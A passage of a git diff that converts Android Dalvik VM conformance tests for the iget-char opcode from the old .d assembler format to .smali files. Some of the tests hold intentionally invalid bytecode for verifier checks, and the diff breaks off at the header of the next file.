+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_18.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d
deleted file mode 100644
index 5efa5ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_19.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali
new file mode 100644
index 0000000..2a4c57d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_19.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d
deleted file mode 100644
index 895f42e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_20.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v0, v2, dot.junit.opcodes.iget_char.d.T_iget_char_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali
new file mode 100644
index 0000000..314b255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_20.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v0, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d
deleted file mode 100644
index 4902259..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_21.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/TestStubs/<init>()V
-
-       iget-char v1, v0, dot.junit.opcodes.iget_char.TestStubs.TestStubProtectedField C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali
new file mode 100644
index 0000000..8edfdce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_21.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d
deleted file mode 100644
index 7838f58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_3.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_3
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-char v3, v2, dot.junit.opcodes.iget_char.d.T_iget_char_3.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali
new file mode 100644
index 0000000..d365f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_3.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-char v3, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_3;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d
deleted file mode 100644
index bdc90d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_30.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_30
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_char/d/T_iget_char_30
-    iget-char v1, v0, dot.junit.opcodes.iget_char.d.T_iget_char_30.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali
new file mode 100644
index 0000000..3367fa0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_30.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;
+    iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_30;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d
deleted file mode 100644
index 0f5c6d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_31.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_31
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_char.d.T_iget_char_31.st_i1 C
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali
new file mode 100644
index 0000000..3290796
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_31.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_31;->st_i1:C
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
deleted file mode 100644
index 53ac999..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_35.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 2
-       iget-char v0, v1, dot.junit.opcodes.iget_char.TestStubs.TestStubProtectedField C
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali
new file mode 100644
index 0000000..c5bb0f7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_35.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 2
+       iget-char v0, v1, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubProtectedField:C
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d
deleted file mode 100644
index 428c14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_4.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_4
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_4.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali
new file mode 100644
index 0000000..86ec697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_4.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_4;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d
deleted file mode 100644
index 534412f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_5.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_5
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_5.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali
new file mode 100644
index 0000000..bcc037d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_5.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_5;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d
deleted file mode 100644
index 0d208b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_6.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_char/TestStubs/<init>()V
-
-       iget-char v1, v0, dot.junit.opcodes.iget_char.TestStubs.TestStubField C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali
new file mode 100644
index 0000000..20a13cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_6.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d
deleted file mode 100644
index b2ca2ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_7.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_7no_class.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali
new file mode 100644
index 0000000..363060b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_7.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_7no_class;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d
deleted file mode 100644
index 7a75de0..0000000
